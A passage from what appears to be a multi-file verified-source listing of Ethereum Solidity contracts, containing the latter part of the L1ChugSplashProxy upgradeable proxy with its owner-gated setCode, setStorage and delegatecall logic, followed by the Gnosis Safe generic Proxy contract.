    modifier onlyWhenNotPaused() {
        address owner = _getOwner();
        // We do a low-level call because there's no guarantee that the owner actually *is* an
        // L1ChugSplashDeployer contract and Solidity will throw errors if we do a normal call and
        // it turns out that it isn't the right type of contract.
        (bool success, bytes memory returndata) = owner.staticcall(
            abi.encodeWithSelector(iL1ChugSplashDeployer.isUpgrading.selector)
        );
        // If the call was unsuccessful then we assume that there's no "isUpgrading" method and we
        // can just continue as normal. We also expect that the return value is exactly 32 bytes
        // long. If this isn't the case then we can safely ignore the result.
        if (success && returndata.length == 32) {
            // Although the expected value is a *boolean*, it's safer to decode as a uint256 in the
            // case that the isUpgrading function returned something other than 0 or 1. But we only
            // really care about the case where this value is 0 (= false).
            uint256 ret = abi.decode(returndata, (uint256));
            require(ret == 0, "L1ChugSplashProxy: system is currently being upgraded");
        }
        _;
    }
    /**
     * Makes a proxy call instead of triggering the given function when the caller is either the
     * owner or the zero address. Caller can only ever be the zero address if this function is
     * being called off-chain via eth_call, which is totally fine and can be convenient for
     * client-side tooling. Avoids situations where the proxy and implementation share a sighash
     * and the proxy function ends up being called instead of the implementation one.
     *
     * Note: msg.sender == address(0) can ONLY be triggered off-chain via eth_call. If there's a
     * way for someone to send a transaction with msg.sender == address(0) in any real context then
     * we have much bigger problems. Primary reason to include this additional allowed sender is
     * because the owner address can be changed dynamically and we do not want clients to have to
     * keep track of the current owner in order to make an eth_call that doesn't trigger the
     * proxied contract.
     */
    modifier proxyCallIfNotOwner() {
        if (msg.sender == _getOwner() || msg.sender == address(0)) {
            _;
        } else {
            // This WILL halt the call frame on completion.
            _doProxyCall();
        }
    }
    /*********************
     * Fallback Function *
     *********************/
    fallback() external payable {
        // Proxy call by default.
        _doProxyCall();
    }
    /********************
     * Public Functions *
     ********************/
    /**
     * Sets the code that should be running behind this proxy. Note that this scheme is a bit
     * different from the standard proxy scheme where one would typically deploy the code
     * separately and then set the implementation address. We're doing it this way because it gives
     * us a lot more freedom on the client side. Can only be triggered by the contract owner.
     * @param _code New contract code to run inside this contract.
     */
    function setCode(bytes memory _code) public proxyCallIfNotOwner {
        // Get the code hash of the current implementation.
        address implementation = _getImplementation();
        // If the code hash matches the new implementation then we return early.
        if (keccak256(_code) == _getAccountCodeHash(implementation)) {
            return;
        }
        // Create the deploycode by appending the magic prefix.
        bytes memory deploycode = abi.encodePacked(DEPLOY_CODE_PREFIX, _code);
        // Deploy the code and set the new implementation address.
        address newImplementation;
        assembly {
            newImplementation := create(0x0, add(deploycode, 0x20), mload(deploycode))
        }
        // Check that the code was actually deployed correctly. I'm not sure if you can ever
        // actually fail this check. Should only happen if the contract creation from above runs
        // out of gas but this parent execution thread does NOT run out of gas. Seems like we
        // should be doing this check anyway though.
        require(
            _getAccountCodeHash(newImplementation) == keccak256(_code),
            "L1ChugSplashProxy: code was not correctly deployed."
        );
        _setImplementation(newImplementation);
    }
    /**
     * Modifies some storage slot within the proxy contract. Gives us a lot of power to perform
     * upgrades in a more transparent way. Only callable by the owner.
     * @param _key Storage key to modify.
     * @param _value New value for the storage key.
     */
    function setStorage(bytes32 _key, bytes32 _value) public proxyCallIfNotOwner {
        assembly {
            sstore(_key, _value)
        }
    }
    /**
     * Changes the owner of the proxy contract. Only callable by the owner.
     * @param _owner New owner of the proxy contract.
     */
    function setOwner(address _owner) public proxyCallIfNotOwner {
        _setOwner(_owner);
    }
    /**
     * Queries the owner of the proxy contract. Can only be called by the owner OR by making an
     * eth_call and setting the "from" address to address(0).
     * @return Owner address.
     */
    function getOwner() public proxyCallIfNotOwner returns (address) {
        return _getOwner();
    }
    /**
     * Queries the implementation address. Can only be called by the owner OR by making an
     * eth_call and setting the "from" address to address(0).
     * @return Implementation address.
     */
    function getImplementation() public proxyCallIfNotOwner returns (address) {
        return _getImplementation();
    }
    /**********************
     * Internal Functions *
     **********************/
    /**
     * Sets the implementation address.
     * @param _implementation New implementation address.
     */
    function _setImplementation(address _implementation) internal {
        assembly {
            sstore(IMPLEMENTATION_KEY, _implementation)
        }
    }
    /**
     * Queries the implementation address.
     * @return Implementation address.
     */
    function _getImplementation() internal view returns (address) {
        address implementation;
        assembly {
            implementation := sload(IMPLEMENTATION_KEY)
        }
        return implementation;
    }
    /**
     * Changes the owner of the proxy contract.
     * @param _owner New owner of the proxy contract.
     */
    function _setOwner(address _owner) internal {
        assembly {
            sstore(OWNER_KEY, _owner)
        }
    }
    /**
     * Queries the owner of the proxy contract.
     * @return Owner address.
     */
    function _getOwner() internal view returns (address) {
        address owner;
        assembly {
            owner := sload(OWNER_KEY)
        }
        return owner;
    }
    /**
     * Gets the code hash for a given account.
     * @param _account Address of the account to get a code hash for.
     * @return Code hash for the account.
     */
    function _getAccountCodeHash(address _account) internal view returns (bytes32) {
        bytes32 codeHash;
        assembly {
            codeHash := extcodehash(_account)
        }
        return codeHash;
    }
    /**
     * Performs the proxy call via a delegatecall.
     */
    function _doProxyCall() internal onlyWhenNotPaused {
        address implementation = _getImplementation();
        require(implementation != address(0), "L1ChugSplashProxy: implementation is not set yet");
        assembly {
            // Copy calldata into memory at 0x0....calldatasize.
            calldatacopy(0x0, 0x0, calldatasize())
            // Perform the delegatecall, make sure to pass all available gas.
            let success := delegatecall(gas(), implementation, 0x0, calldatasize(), 0x0, 0x0)
            // Copy returndata into memory at 0x0....returndatasize. Note that this *will*
            // overwrite the calldata that we just copied into memory but that doesn't really
            // matter because we'll be returning in a second anyway.
            returndatacopy(0x0, 0x0, returndatasize())
            // Success == 0 means a revert. We'll revert too and pass the data up.
            if iszero(success) {
                revert(0x0, returndatasize())
            }
            // Otherwise we'll just return and pass the data up.
            return(0x0, returndatasize())
        }
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
 * @title iL1ChugSplashDeployer
 */
interface iL1ChugSplashDeployer {
    function isUpgrading() external view returns (bool);
}

File 7 of 7: Proxy
pragma solidity ^0.5.3;

/// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract Proxy {

    // masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
    // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
    address internal masterCopy;

    /// @dev Constructor function sets address of master copy contract.
    /// @param _masterCopy Master copy address.
    constructor(address _masterCopy)
        public
    {
        require(_masterCopy != address(0), "Invalid master copy address provided");
        masterCopy = _masterCopy;
    }

    /// @dev Fallback function forwards all transactions and returns all received return data.
    function ()
        external
        payable
    {
        // solium-disable-next-line security/no-inline-assembly
        assembly {
            let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
            // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
            if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
                mstore(0, masterCopy)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) { revert(0, returndatasize()) }
            return(0, returndatasize())
        }
    }
}